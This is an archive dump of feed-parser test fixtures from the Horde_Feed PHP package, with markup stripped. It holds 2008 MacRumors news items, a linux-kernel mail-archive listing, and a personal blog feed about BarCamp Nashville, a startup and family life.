quietly released a 1.1.5 firmware upgrade for the iPod Touch. The 1.1.5 firmware remains a free upgrade path for firmware 1.1.4 users who chose not to upgrade to 2.0 ($9.95). <br /> <br /> The 2.0 upgrade was released over the weekend an... Tue, 15 Jul 2008 12:41:52 EDT Apple Sues Psystar over OpenComputer http://www.macrumors.com/2008/07/15/apple-sues-psystar-over-opencomputer/ In April, we reported that a company called Psystar was offering the first Mac clone. Using off the shelf PC parts and a modified version of Mac OS X Leopard, Psystar promised a cheaper alternative to an Apple Mac.<br /> <br /> Despite some initia... Tue, 15 Jul 2008 12:04:32 EDT Intel Announces Centrino 2 (Montevina) http://www.macrumors.com/2008/07/14/intel-announces-centrino-2-montevina/ Today, Intel announced their Centrino 2 (Montevina) platform which incorporates a faster Penryn Core 2 Duo processor, faster bus speed, faster integrated graphics (GMA X4500) and the option of WiMax support.<br /> <br /> The new Penryn chips will r... Tue, 15 Jul 2008 00:07:27 EDT Apple's Joswiak on iPhone Copy and Paste, GPS Driving Directions http://www.macrumors.com/2008/07/14/apples-joswiak-on-iphone-copy-and-paste-gps-driving-directions/ ExtremeTech reports that they were able to talk to Apple's head of iPod and iPhone marketing, Greg Joswiak, on launch day. They asked two very common questions about possible features of Apple's iPhone. <br /> <br /> When asked about the iPhone... Mon, 14 Jul 2008 19:39:36 EDT Apple Sells 1 Million iPhones, 10 Million Apps Downloaded in First Weekend http://www.macrumors.com/2008/07/14/apple-sells-1-million-iphones-10-million-apps-downloaded-in-first-weekend/ Despite long lines and activation troubles, Apple announced today that they sold its one millionth iPhone 3G on Sunday, only three days after its initial launch on Friday, July 11th. In the press release, Steve Job points out that it took 74 days to... Mon, 14 Jul 2008 09:18:21 EDT ././@LongLink000 165 0003740 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.mail-archive.com-linux-kernel@vger.kernel.org-maillist.rdfHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.mail-archive.com-linux-kernel@vger.kernel0000664000175000017500000000545412653701626031541 0ustar janjan linux-kernel mailing list http://www.mail-archive.com/linux-kernel@vger.kernel.org Email archive for linux-kernel. Mail-Archive.com http://www.mail-archive.com/nanologo.gif http://www.mail-archive.com Re: [ofa-general] [PATCH 2/2] ib fmr pool: flush used clean entries 2008-02-26T20:16:47 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272377.html Intel 945GM: 2.6.25-rc3 report (with a possible regression) 2008-02-26T20:16:46 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272376.html Re: 2.6.25-rc1 xen pvops regression 2008-02-26T20:16:45 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272375.html Re: [2.6 patch v2] cris: proper defconfig setup 2008-02-26T20:16:45 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272374.html Re: [xfs-masters] Re: filesystem corruption on xfs after 2.6.25-rc1 (bisected, powerpc related?) 2008-02-26T20:06:36 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272373.html Re: [PATCH] x86: vSMP selection in config 2008-02-26T20:06:35 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272372.html Re: Is there a memory block device? 2008-02-26T20:06:35 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272371.html Re: 2.6.25-rc2 regression in rt61pci wireless driver 2008-02-26T20:06:34 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272370.html Re: [RFC] mmiotrace full patch, preview 1 2008-02-26T20:06:34 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272369.html Re: [2.6 patch v2] cris: proper defconfig setup 2008-02-26T20:06:33 http://www.mail-archive.com/linux-kernel@vger.kernel.org/msg272368.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.marcuswhitney.com-%2Ffeed=rss20000664000175000017500000025561512653701626027277 0ustar janjan Marcus Whitney http://www.marcuswhitney.com Valuable Lessons, Celebrations and Philosophy Tue, 22 Jul 2008 05:21:13 +0000 http://wordpress.org/?v=2.0.1 en Promise for High Growth Technology in Tennessee http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/222085776/ http://www.marcuswhitney.com/2008/01/24/promise-for-technology-in-tennessee/#comments Thu, 24 Jan 2008 05:31:32 +0000 Marcus Investing Nashville entrepreneur Tennesseebarcamp nashvilleentrepreneurInvestingnashvillenashville chamberpodcamp nashvilleremarkable witTennesseettdc http://www.marcuswhitney.com/2008/01/24/promise-for-technology-in-tennessee/ Today I had lunch with Christine McDonnell, Vice President of Existing Business & Entrepreneurship - Economic Development at the Nashville Chamber of Commerce, and Eric Cromwell, President and CEO of the Tennessee Technology Development Corporation at Bricktops to discuss PodCamp, BarCamp and how all of these organizations (or un-organizations in BarCamp’s case) could come together to improve the situation for technology entrepreneurs in Tennessee. They were both very passionate and enthusiastic about what is being done at BarCamp, and they both have some great ideas of there own on how we could utilize our strengths to really make a difference here.

      I understand this plight all too well, as I was launching my fledgling company “Remarkable Wit” (which is now holding its own), I found it very hard to convey the essence of my company to potential funders. Now, I’m kind of happy it worked out the way it did because it forced me to get some real revenue and prove my model in order to survive, but I have a lot more credence in town than many other aspiring hackers/entrepreneurs and I can see why so many start-ups never start up. There really does need to be more communication between those of us in the know, and those who have the means to enable those in the know. I know of a few startups right now that should be off the ground, but they just haven’t gotten their funding secured yet. It’s a bit to frustrating to watch, honestly.

      Having lunch with them really made me proud of the work that the BarCamp Nashville Crew has done thus far to promote and celebrate Internet focused communities and companies in Middle Tennessee. I think there may be very good things that come from this meeting, and I applaud the Chamber and TTDC for reaching out to us to seek a way to work together. I’m predicting more great events and forums in the future, held in our beautiful city of Nashville.

      , , , , , , , , , , , , , , , , ]]>       http://www.marcuswhitney.com/2008/01/24/promise-for-technology-in-tennessee/feed/ http://www.marcuswhitney.com/2008/01/24/promise-for-technology-in-tennessee/       I’m really loving 2008. http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/217910813/ http://www.marcuswhitney.com/2008/01/16/im-really-loving-2008/#comments Wed, 16 Jan 2008 23:33:26 +0000 Marcus The Journey PHP entrepreneur2008andi gutmansentrepreneurPHPpodcamp nashvilleremarkable witsanta monicazend http://www.marcuswhitney.com/2008/01/16/im-really-loving-2008/ I just want to thank everyone who believed that I could do this. 2008 is looking like an incredible year for business, and for every “good luck” and “we know you can do it” that I received I humbly offer a single “Thank You” in return.

      I’m doing a few things in the next few weeks that I want to highlight:

      - Making my first full time job offer to a great guy for the position of Senior Developer at Remarkable Wit. (Fingers Crossed!!!)
      - Interviewing Andi Gutmans from Zend, again :) This time for a podcast Remarkable Wit is going to launch on all web technologies.
      - Kicking off two incredibly cool projects with Remarkable Wit, and I’ll launch an official site for RW.
      - Attending, Hosting and Enjoying “PodCamp Nashville”
      - Visiting my new favorite place on Earth, Santa Monica, for the fourth time in five months.

      I’ve also nearly doubled my Facebook friends with old high school friends that I am so happy to be reconnected with. Facebook really is fresh.

      It’s just such a great time. 2008 is bringing the love.

      , , , , , , , , , , , , , , ]]>       http://www.marcuswhitney.com/2008/01/16/im-really-loving-2008/feed/ http://www.marcuswhitney.com/2008/01/16/im-really-loving-2008/       BarCamp Nashville Recap Video http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/148142160/ http://www.marcuswhitney.com/2007/08/25/barcamp-nashville-recap-video/#comments Sat, 25 Aug 2007 17:11:46 +0000 Marcus The JourneyBarCampbarcampnashvillestudio nowVideo http://www.marcuswhitney.com/2007/08/25/barcamp-nashville-recap-video/ Finally, I can put this baby to bed for a bit. It was fun everyone. Enjoy… BarCamp Nashville, The Movie:


      , , , , , , ]]>       http://www.marcuswhitney.com/2007/08/25/barcamp-nashville-recap-video/feed/ http://www.marcuswhitney.com/2007/08/25/barcamp-nashville-recap-video/       BarCamp Nashville and Remarkable Wit profiled on BigSight.org http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/136592651/ http://www.marcuswhitney.com/2007/07/23/barcamp-nashville-and-remarkable-wit-profiled-on-bigsightorg/#comments Mon, 23 Jul 2007 19:09:46 +0000 Marcus The Journey Nashville entrepreneurbarcamp nashvillebigsight.orgentrepreneurnashvilleplan build share http://www.marcuswhitney.com/2007/07/23/barcamp-nashville-and-remarkable-wit-profiled-on-bigsightorg/ The fine folks at BigSight.org did a short front page profile on BarCamp Nashville, and outed my new venture. Very cool stuff. We’re also about to close on our first large “Plan, Build, Share” project today, which is fantastic. More on that in the near future.

      , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/07/23/barcamp-nashville-and-remarkable-wit-profiled-on-bigsightorg/feed/ http://www.marcuswhitney.com/2007/07/23/barcamp-nashville-and-remarkable-wit-profiled-on-bigsightorg/       Remarkable Wit - Plan, Build, Share http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/136102353/ http://www.marcuswhitney.com/2007/07/21/remarkable-wit-plan-build-share/#comments Sun, 22 Jul 2007 04:15:20 +0000 Marcus The Journeymarcus whitneyplan build shareremarkable wit http://www.marcuswhitney.com/2007/07/21/remarkable-wit-plan-build-share/ Warning - This is a blog post, not a press release. Please forgive the run-ons or the soapbox.
      “Plan, Build and Share” are the service pillars of my new business venture. When I decided to start my own business I knew that no matter what I did, certain things were going to be an absolute requirement. Effective and reliable support, outstanding customer service, and a trustworthy brand are basics that ought to be present in any venture you do. Service pillars of your business are something different. They are the reason people come to you. It is the service you provide, not the level at which you do it.

      I thought about why I can’t leave my current profession and do one of the other 30 things I’m interested in. My answer: I’m passionate beyond reason about user experience, revolutionary products, and community dynamics. I would love to execute these things on a mass scale like some of the companies I so admire, but at the moment that would be biting off more than I can chew. I can, however, support the current players involved in these same service pillars and grow from inside the industry. Having said that, I am going to take that approach with MyPossible Inc.’s first business venture, “Remarkable Wit” (RW).

      Remarkable Wit is a firm dedicated to internet projects ranging from consumer web properties to industrial applications. We serve as silent partners in projects as well as headliners on a few products of our own. As consultants we help customers find the real value in their idea and create a realistic and attainable goal. As contractors we design and develop very powerful, user focused applications for every market that the internet influences. Finally, we keep the loop open between the creators and the consumers to ensure that the product continues to meet the needs of the consumer.

      Let me briefly share just a bit on Plan, Build, Share:

      Plan - (experience strategy)
      If you want to enjoy outrageous success in business, always consider how the customer feels when engaged with the company. Whether it is through the advertising, the sales process, or the use and support of the product or service. Many companies fail in the most basic categories of adequate support, respectful customer service and appropriate pricing. Those are just the basics of good business, and it’s a shame that some entrepreneurs can rightfully claim them as a unique characteristic of their company.

      You simply should not be offering a service that you cannot properly support. You should not sell anything if you don’t plan on carrying the ’sales charm’ through into customer service. You should definitely not engage in a business where ripping off customers with price gouging is necessary to stay in business. You should provide a great product, great service, great support and price it all appropriately. Experience strategy says that the primary focus is on creating a mind-blowing experience for the customer. This perspective helps you take your vision and scope it properly for maximum effectiveness and minimum risk.

      Build - (product architecture and development)
      Most products, especially technology products, are about luxury and quality. Beyond food, clothing and shelter, people really don’t *need* anything you are selling. However, people want lots of things that they don’t need. Therefore, the successful product must meet a strong want of a well defined market. That product should also be crafted to the highest quality that you can reasonably provide. There is no longevity in a product with crappy quality. Product architecture ensures that someone vision actually resembles the picture that they have in their head, rather than becoming a nightmare.

      After architecture, personnel, workflow and interaction are key. You must have the best people doing the best work in the most efficient way in constant communication to avoid getting confused. Creating this environment as well as succeeding are very difficult tasks, but they are tasks that I am quite obsessed with and look forward to completing with RW.

      Share - (community farming)
      Today’s successful company is thinking less about making a profit from their customers, and more about building a long term relationship with their customer that has continued benefits for both parties. Successful communities are the result of a fine tuned ear. You have to listen well, read trends and predict the wants of well defined groups of people. Growing a strong community is much more about listening and implementing than it is about leading. In short, growing a community is about constantly serving the community. Community farming is a philosophy that we put in action through constantly evolving methods of communication between creators and consumers. The goal is that these roles switch between customer and company often throughout the life of the relationship.

      Creating the forum and being it’s caretaker is the work of the community farmer. Communities are always looking to be grown, but they need the fertile soil and nourishment to grow. This is an area that I have succeeded in several times over the last few years, and I look forward to growing more communities through RW.

      That in a nutshell is what I will be doing. Of course, this is very conceptual and even slightly abstract. This is just done for those who have been interested in what I’m doing and might stumble upon this post.

      , , , , ]]>       http://www.marcuswhitney.com/2007/07/21/remarkable-wit-plan-build-share/feed/ http://www.marcuswhitney.com/2007/07/21/remarkable-wit-plan-build-share/       Passing Through Limitation http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/136036340/ http://www.marcuswhitney.com/2007/07/21/passing-through-limitation/#comments Sat, 21 Jul 2007 21:49:05 +0000 Marcus The Journeyjessica whitneyjourneylimitationmeditationyoga http://www.marcuswhitney.com/2007/07/21/passing-through-limitation/ Jessica and our friend Marc had meditation and yoga practice in our mini studio this morning. It was the third day in a row that Jessica and I have gotten up around 6AM and meditated for 15 minutes and then done some yoga. This morning, I made friends with my body’s resistance and had huge breakthroughs in both meditation and yoga. I just thought I’d share some, because I feel incredibly empowered by today’s lesson.
      This morning I remembered that a goal which in the present seems near impossible, becomes very possible with constant focus and practice towards achieving it. Early frustration, lack of patience and self doubt are the pillars of limitation. To pass through the limitations and achieve your desires, one only needs to focus on the benefit being received during the journey. In every moment you have the power to melt away the frustration, realize ongoing instant gratification and find countless reasons to love yourself. Today, I’m one practice closer to realizing a full lotus, and I don’t care how many more practices I have to do, I really enjoyed getting closer today.

      , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/07/21/passing-through-limitation/feed/ http://www.marcuswhitney.com/2007/07/21/passing-through-limitation/       Getting Very Excited About BarCamp Nashville http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/135482366/ http://www.marcuswhitney.com/2007/07/19/getting-very-excited-about-barcamp-nashville/#comments Fri, 20 Jul 2007 01:59:55 +0000 Marcus The Journeybarcamp nashvilleDave Delaney http://www.marcuswhitney.com/2007/07/19/getting-very-excited-about-barcamp-nashville/ When Dave and I set out to start BarCamp Nashville, I was completely skeptical about the type of support we would receive. I thought we would need to bring in big name speakers from around the country to generate a decent turn out. Instead, I found tech entrepreneurs, developers, designers, podcasters, musicians, bloggers and just regular people are pumped as hell to get together and geek out. It’s a pretty interesting phenomena how the digerati circle has expanded through MySpace, Facebook and LinkedIn. Can’t wait to announce our speakers on July 31st.

      , , ]]>       http://www.marcuswhitney.com/2007/07/19/getting-very-excited-about-barcamp-nashville/feed/ http://www.marcuswhitney.com/2007/07/19/getting-very-excited-about-barcamp-nashville/       Blogging Again. http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/129008402/ http://www.marcuswhitney.com/2007/06/29/blogging-again/#comments Fri, 29 Jun 2007 16:20:40 +0000 Marcus The Journeyblogging again http://www.marcuswhitney.com/2007/06/29/blogging-again/ Yup, back at it. I have a lot to get off my chest, and I also need a redesign. Let’s see what we can whip up in the upcoming weeks.

      ]]>       http://www.marcuswhitney.com/2007/06/29/blogging-again/feed/ http://www.marcuswhitney.com/2007/06/29/blogging-again/       Oh Boy… http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/128844165/ http://www.marcuswhitney.com/2007/06/28/oh-boy/#comments Fri, 29 Jun 2007 02:50:19 +0000 Marcus The Journeystartup http://www.marcuswhitney.com/2007/06/28/oh-boy/ I’ve got a lot of code to write.

      ]]>       http://www.marcuswhitney.com/2007/06/28/oh-boy/feed/ http://www.marcuswhitney.com/2007/06/28/oh-boy/       A Group Of People That Inspire Me Beyond Words http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/128826199/ http://www.marcuswhitney.com/2007/06/28/a-group-of-people-that-inspire-me-beyond-words/#comments Fri, 29 Jun 2007 01:20:51 +0000 Marcus The JourneyemmainspireLife http://www.marcuswhitney.com/2007/06/28/a-group-of-people-that-inspire-me-beyond-words/ Clint Smith, Will Weaver, Annie Kinnaird, Kathleen Southall, Allison Davis, Bo Spessard, Sara McManigal, Jairo Ruiz, Kim Hatcher, Jesse Worstell, Suzanne Norman, Rachael Kahne, Gina LaMar, Greg Thornton, Grey Garner, Erik Jones, Jessica Saling, Jake Cable, Jim Hitch, Christina Griffith, Dean Shortland, Steve Turney, Patrick Copeland, Taylor Schena, Matt Thackston, Alex Ezell, Kris Wetzel, Jenn Ross, Kendrick Watts, Leigh Bernstein, David Weintraub, Laura Key, Erin Shea, Cliff Corr, Hilary Smith, Dave Delaney, and Jason DuMars.

      , , , , ]]>       http://www.marcuswhitney.com/2007/06/28/a-group-of-people-that-inspire-me-beyond-words/feed/ http://www.marcuswhitney.com/2007/06/28/a-group-of-people-that-inspire-me-beyond-words/       links for 2007-05-29 http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/120444529/ http://www.marcuswhitney.com/2007/05/29/links-for-2007-05-29/#comments Tue, 29 May 2007 08:22:45 +0000 Marcus The Journey http://www.marcuswhitney.com/2007/05/29/links-for-2007-05-29/
    7. Brett Terpstra on Virb.com
      Badass Verb layout
      (tags: verb circle_six_design)

      8. No TagsNo Tags]]> http://www.marcuswhitney.com/2007/05/29/links-for-2007-05-29/feed/ http://www.marcuswhitney.com/2007/05/29/links-for-2007-05-29/ links for 2007-05-28 http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/120204636/ http://www.marcuswhitney.com/2007/05/28/links-for-2007-05-28/#comments Mon, 28 May 2007 08:21:16 +0000 Marcus The Journey http://www.marcuswhitney.com/2007/05/28/links-for-2007-05-28/
    8. Apple Mail plug-in roundup - The Unofficial Apple Weblog (TUAW)
      Apple Mail Plug-Ins. We all need em.
      (tags: apple mail mail.app osx)
    9. Amyloo: Friday, May 25, 2007
      AmyLoo correctly notes that Facebook is an inside out approach that once again takes away the web’s core purpose, to offer a set of standards for all to interoperate on. Facebook wins, we lose.
      (tags: facebook platform API)
      10. No TagsNo Tags]]>       http://www.marcuswhitney.com/2007/05/28/links-for-2007-05-28/feed/ http://www.marcuswhitney.com/2007/05/28/links-for-2007-05-28/       Crop Circles in Tennessee?!?! http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/120123356/ http://www.marcuswhitney.com/2007/05/27/usmadisonvilletnheadlinejpg/#comments Sun, 27 May 2007 23:16:14 +0000 Marcus The Journeycrop circlesTennesseeufo http://www.marcuswhitney.com/2007/05/27/usmadisonvilletnheadlinejpg/

      Crop circles in Tennessee? Thanks for the heads up Cry.

      , , , , ]]>       http://www.marcuswhitney.com/2007/05/27/usmadisonvilletnheadlinejpg/feed/ http://www.marcuswhitney.com/2007/05/27/usmadisonvilletnheadlinejpg/       Toronto… I miss you. http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/120114799/ http://www.marcuswhitney.com/2007/05/27/toronto-i-miss-you/#comments Sun, 27 May 2007 22:10:38 +0000 Marcus The Journeynetherlandstoronto http://www.marcuswhitney.com/2007/05/27/toronto-i-miss-you/


      The Netherlands Boys

      Originally uploaded by marcuswhitney

      I was trying to do some housecleaning today, both literal and digital. Been uploading some old pics to Flickr, and I came across this pic from our Toronto trip in 2004. We met these boys in the hallway in a hotel, I think a Sheraton, and ended up hanging with them all night.

      Don’t even remember their names, but isn’t it interesting how people you’ve met once can hold such a special place in your heart. I think one of them was named Gunthar… or something. One was a CS whiz, one was a military boy, and I don’t remember about the rest. They were cool as hell though. Anyway, just missing Toronto today, hoping Dave will get me back there one day :)

      , , ]]>       http://www.marcuswhitney.com/2007/05/27/toronto-i-miss-you/feed/ http://www.marcuswhitney.com/2007/05/27/toronto-i-miss-you/       links for 2007-05-27 http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/120000031/ http://www.marcuswhitney.com/2007/05/27/links-for-2007-05-27/#comments Sun, 27 May 2007 08:21:06 +0000 Marcus The Journey http://www.marcuswhitney.com/2007/05/27/links-for-2007-05-27/
    10. bigsight - a directory of people doing good work
      a neat directory of good people doing good things started in Nashville by Dan Birdwhistell
      (tags: nashville technology startup good tech social)
    11. Who Can Compete with Facebook?
      Josh Catone brings up the likely competition for Facebook platform.
      (tags: facebook pageflakes platform myspace)
    12. Ignition Web Studios : Dream . Develop . Ignite .
      Nashville Ruby Shop
      (tags: nashville technology startup ruby rails)
      13. No TagsNo Tags]]>       http://www.marcuswhitney.com/2007/05/27/links-for-2007-05-27/feed/ http://www.marcuswhitney.com/2007/05/27/links-for-2007-05-27/       There’s a Lot of Good Stuff Going On… http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/119845656/ http://www.marcuswhitney.com/2007/05/26/theres-a-lot-of-good-stuff-going-on/#comments Sat, 26 May 2007 14:13:51 +0000 Marcus The JourneyGTDorderself http://www.marcuswhitney.com/2007/05/26/theres-a-lot-of-good-stuff-going-on/ But I need to get myself in order. Thank goodness we have a three-day weekend. I’ve got a lot of organization to do.

      , , , , ]]>       http://www.marcuswhitney.com/2007/05/26/theres-a-lot-of-good-stuff-going-on/feed/ http://www.marcuswhitney.com/2007/05/26/theres-a-lot-of-good-stuff-going-on/       One Week Until Generation TN Conference http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/119843693/ http://www.marcuswhitney.com/2007/05/26/one-week-until-generation-tn-conference/#comments Sat, 26 May 2007 14:12:21 +0000 Marcus The JourneycivicconferencegentnTennessee http://www.marcuswhitney.com/2007/05/26/one-week-until-generation-tn-conference/ IN3

      Hello all, really quickly… Just wanted to remind anyone who reads this that next Friday and Saturday is IN3, the Generation TN conference. I’m getting more excited everyday looking at the list of attendees. If you are interested in learning about how you can make a difference in TN through education, economic development, healthcare or general legislation, this is the place to be.

      , , , , , , ]]>       http://www.marcuswhitney.com/2007/05/26/one-week-until-generation-tn-conference/feed/ http://www.marcuswhitney.com/2007/05/26/one-week-until-generation-tn-conference/       My Baby Graduated From KinderGarten http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/118896593/ http://www.marcuswhitney.com/2007/05/22/my-baby-graduated-from-kindergarten/#comments Wed, 23 May 2007 04:17:09 +0000 Marcus The Journeykindergarten http://www.marcuswhitney.com/2007/05/22/my-baby-graduated-from-kindergarten/ And I got really emotional about it. He was so big on stage, playing the piano. He’s on his way, and I’m so proud of him. Congratulations Ciaran.

      ]]>       http://www.marcuswhitney.com/2007/05/22/my-baby-graduated-from-kindergarten/feed/ http://www.marcuswhitney.com/2007/05/22/my-baby-graduated-from-kindergarten/       Envisioning a Mission http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/117715974/ http://www.marcuswhitney.com/2007/05/18/envisioning-a-mission/#comments Fri, 18 May 2007 14:01:01 +0000 Marcus The Journey50 centedutainmentHipHopkrs onepurpose http://www.marcuswhitney.com/2007/05/18/envisioning-a-mission/ Sometimes an idea just unfolds before you. My spiritual adviser Dr. Mitch Johnson refers to it as a “noble purpose.” Something you are here to do, that makes you feel a satisfaction that is hard to rival with other activities in your life. Last night, I sat down and watched to the new 50 Cent video “Straight To The Bank“, and finally wrote a song.  I’m really happy with the song.  It has no cursing, a hip yet positive message, and it’s just some of my better work. I then proceeded to write another complete song to “Hustler’s Ambition.” I’m not sure if I like that song as much, but its definitely also a keeper.

      I then went to sleep watching “Get Rich Or Die Tryin’”, 50 Cent’s somewhat autobiographical movie. What I got from it was a reminder of how dismal the situation in the ‘hood’ can be, and why something needs to be done about it. The movie also had a very clear message: regardless of what you think about hip-hop music, for many children of the ghetto, hip-hop seems to be the only way out. This means that hip-hop is a ‘language’ they are listening to, and the beats are extremely important.

      All this got me thinking, would it not be possible to create an entire education and economic system based on hip-hop?  I’m not talking about the usual “revolutionary” hip-hop that does nothing but rant about injustice, but offers no solution.  I’m talking about a system that enlightens the children to true hiphop culture, economics, health, wellness, and self-awareness.
      Indeed this is a subset of the mission of the Temple of HipHop. I enquired this morning on how to become a member. When I arrived at the website, I was surprised to see that this week is Hip Hop Appreciation Week. I think I’m getting signals on my noble purpose.

      , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/05/18/envisioning-a-mission/feed/ http://www.marcuswhitney.com/2007/05/18/envisioning-a-mission/       My Most Popular Post http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/117539580/ http://www.marcuswhitney.com/2007/05/17/my-most-popular-post/#comments Thu, 17 May 2007 21:00:30 +0000 Marcus The Journeyearthlinkembarqsprint http://www.marcuswhitney.com/2007/05/17/my-most-popular-post/ Is a post about Embarq.  Where I was making fun of Sprint.  That post has attracted bitter customers of the company as a place to air out their feelings about the substandard service they receive as Embarq customers.  Looks like Embarq has been a dumping ground for Sprint and Earthlinks unwanted business.  The message from marcuswhitney.com is clear, Embarq apparently sucks.

      , , , , ]]>       http://www.marcuswhitney.com/2007/05/17/my-most-popular-post/feed/ http://www.marcuswhitney.com/2007/05/17/my-most-popular-post/       Long Time No Post http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/115607108/ http://www.marcuswhitney.com/2007/05/10/long-time-no-post/#comments Thu, 10 May 2007 13:04:33 +0000 Marcus The JourneyBlogginggnomedexjessica whitneymessage systemsnutrition http://www.marcuswhitney.com/2007/05/10/long-time-no-post/ Yeah, it comes in waves.  Figured I’d just get a post out there as an update:

      • Ciaran’s pink eye is over.  Whew.  Working at home is just not my thing.
      • Jessica and I are going to make music.  Together.  Happy times.
      • Message Systems is an amazing company with an amazing product.
      • Things are good in general.  I’m gonna get some spiritual food today.
      • Tomorrow I will see Lara Duncan for a Nutritional Consultation.  Very excited about that.
      • I hope this doesn’t show up on planet-php, but if it does, it’s not my fault.  I asked them to remove me.
      • Oh, and I’m going to Gnomedex.  Nice.

      , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/05/10/long-time-no-post/feed/ http://www.marcuswhitney.com/2007/05/10/long-time-no-post/       Back to fighting weight http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114611788/ http://www.marcuswhitney.com/2007/05/06/back-to-fighting-weight/#comments Sun, 06 May 2007 19:16:22 +0000 Marcus The Journeybjjcompetitionfitnessnutrition http://www.marcuswhitney.com/2007/05/06/back-to-fighting-weight/ When I was in High School, I wrestled at 181 and Heavyweight.  But I could always wrestle at 181 without an issue.  I think I now weigh somewhere around 208.  I’m pretty sure I’m at least 20 pounds overweight, even though most people wouldn’t think so.  I guess my big question is, could I safely drop back down to 181 to compete.  I’m working on setting some actual competition goals for Brazillian Ju-Jitsu.  I want to get a fitness and nutrition discipline that will take me back to my proper weight.  I’m just wondering if 181 is actually still a healthy weight for me right now.

      , , , , , , ]]>       http://www.marcuswhitney.com/2007/05/06/back-to-fighting-weight/feed/ http://www.marcuswhitney.com/2007/05/06/back-to-fighting-weight/       Checking In, Hope All Is Well http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114012886/ http://www.marcuswhitney.com/2007/04/30/checking-in-hope-all-is-well/#comments Tue, 01 May 2007 04:39:29 +0000 Marcus The JourneycontentgrowinghappyLifereflection http://www.marcuswhitney.com/2007/04/30/checking-in-hope-all-is-well/ Just posting to keep the habit.  All is well on my side, hope the same for you.  My parents will be coming down by August and my kids had a great day today.  I made some big steps in my life organization phase.  My house is still looking good.  Jessica learned this dance to MIMS “This is why I’m hot” at hip hop class tonight, and she looks like she should be in a video.  She also had a big audition today, so hopefully she’ll get the part and be busy all day Wednesday :)

      Me, I’m really just embracing all the good around me.  So, from me to you, take a minute and smell the Cognac (hat tip Phil Leotardo).

      , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/04/30/checking-in-hope-all-is-well/feed/ http://www.marcuswhitney.com/2007/04/30/checking-in-hope-all-is-well/       Strong Urge To Organize and Simplify part 2.5 http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114012887/ http://www.marcuswhitney.com/2007/04/27/strong-urge-to-organize-and-simplify-part-25/#comments Fri, 27 Apr 2007 17:50:55 +0000 Marcus The JourneyGTDInboxkinklessomnifocusomnioutlinerproductivity http://www.marcuswhitney.com/2007/04/27/strong-urge-to-organize-and-simplify-part-25/ Midnight Blue’s Inbox doesn’t even stay open long enough for me to create a task. It crashes non stop for any action. But, it does remind me that I am using a trial version and that I REALLY should go ahead and buy a license. This product is dead in the water. So, I reverted to Kinkless, and I actually like it a great deal. Especially since I love outliners,and it’s just some AppleScripts that add onto Omni Outliner Pro. I’ve been looking at OmniPlan recently as well, just as a compliment to Kinkless for my management of projects beyond the resource of me. I really hope OmniFocus turns out well.
      I’m realizing more time is passing since the last time I’ve written production code, and I am spending a ton of time focused on project, action and productivity management. Things change.

      , , , , , , , , , , ]]>       http://www.marcuswhitney.com/2007/04/27/strong-urge-to-organize-and-simplify-part-25/feed/ http://www.marcuswhitney.com/2007/04/27/strong-urge-to-organize-and-simplify-part-25/       Vote For Trees http://feeds.feedburner.com/~r/MlogMarcusWhitneysLifeLog/~3/114012888/ http://www.marcuswhitney.com/2007/04/27/vote-for-trees/#comments Fri, 27 Apr 2007 14:29:21 +0000 Marcus The Journeyarbor dayemmagreentreetreehuggingvote for trees http://www.marcuswhitney.com/2007/04/27/vote-for-trees/

      Today, dear friends, is Arbor Day.  I think we all agree that the world needs to do all it can to work towards a more sustainable human existence with a serious effort to be better stewards of the environment.  With that, I invite you to join me in the one day campaign for Trees.  Today, make your vote heard and plant a tree on Emma.  Do it now.  It takes two clicks.  Can’t make treehugging any easier than that.

